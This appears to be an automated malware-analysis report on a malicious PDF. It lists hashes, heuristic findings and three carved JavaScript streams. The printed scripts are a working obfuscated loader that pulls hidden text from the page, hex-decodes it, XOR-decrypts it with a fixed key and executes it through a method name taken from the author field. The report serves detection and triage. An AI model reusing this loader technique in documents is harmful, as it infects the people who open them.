PDF malware analysis — malicious · c8d7397ba86b03aa

MALICIOUS

PDF

10.5 KB Created: 2010-07-16 22:49:15 +04:00 Authoring application: ooRBFG (via 3937230) First seen: 2026-05-08

MD5: 706332338ca4ab2daff33a35d1f2729f SHA-1: 5cbfb54d2464f994350bc180a91319136bbfc257 SHA-256: c8d7397ba86b03aa0f0c225c41b99cafc623433c375b7ca36e5f5d6548631676

124 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains multiple embedded JavaScript streams, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. One of these streams, javascript_obj0011_000.js, is large enough to contain obfuscated code. The presence of String.fromCharCode further suggests code intended for execution. The primary function of this embedded JavaScript is likely to download and execute a second-stage payload, a common technique for malware delivery.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

function mYsJf(uLNK){var kA86wa = '';var ndFpN = this.getPageNumWords(this.pageNum);for(var vHLF = 0; vHLF < ndFpN; vHLF++){f5nU = this.getPageNthWord(uLNK, vHLF);kA86wa += f5nU.substr(f5nU.length - 2, 2);}return kA86wa;}function fEkEU(cI1G){var kA86wa = '';for(vHLF = 0; vHLF < cI1G.length; vHLF += 2){kA86wa  += String.fromCharCode(parseInt('' + cI1G.charAt(vHLF) + cI1G.charAt(vHLF + 1), 16).toString(10));}return kA86wa;}function z58Z(cI1G, s3Yu17){var kA86wa = '';var zhFT6L = 0;for(vHLF = 0; vH …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT

Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0011_000.js`	pdf-javascript-stream	PDF /JS object 11 at offset 0x229D	665 bytes
SHA-256: `b83e8f4b9f2295339dfa47465554760ada2846bc5d4540fda263428b990f2730`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function mYsJf(uLNK){var kA86wa = '';var ndFpN = this.getPageNumWords(this.pageNum);for(var vHLF = 0; vHLF < ndFpN; vHLF++){f5nU = this.getPageNthWord(uLNK, vHLF);kA86wa += f5nU.substr(f5nU.length - 2, 2);}return kA86wa;}function fEkEU(cI1G){var kA86wa = '';for(vHLF = 0; vHLF < cI1G.length; vHLF += 2){kA86wa += String.fromCharCode(parseInt('' + cI1G.charAt(vHLF) + cI1G.charAt(vHLF + 1), 16).toString(10));}return kA86wa;}function z58Z(cI1G, s3Yu17){var kA86wa = '';var zhFT6L = 0;for(vHLF = 0; vHLF < cI1G.length; vHLF++){kA86wa += String.fromCharCode(cI1G.charCodeAt(vHLF) ^ s3Yu17.charCodeAt(zhFT6L++));if(zhFT6L >= s3Yu17.length){zhFT6L = 0;}}return kA86wa;}
`javascript_obj0013_001.js`	pdf-javascript-stream	PDF /JS object 13 at offset 0x2450	49 bytes
SHA-256: `e3d907631b787907a4dbfd24cebd1f6c60e98e4bc81268540a1491abf0090f0c`
Preview script First 1,000 lines of the extracted script var r2L2 = mYsJf(0); var application = app.doc;
`javascript_obj0015_002.js`	pdf-javascript-stream	PDF /JS object 15 at offset 0x24FA	59 bytes
SHA-256: `c7ef21a2cfb088f2ca13439416b0bde2e8756491162e60fad62165bc6a5afae9`
Preview script First 1,000 lines of the extracted script application[this.info.author](z58Z(fEkEU(r2L2), 'zleDs'));

Open this report in the interactive analyzer, or submit your own file for analysis.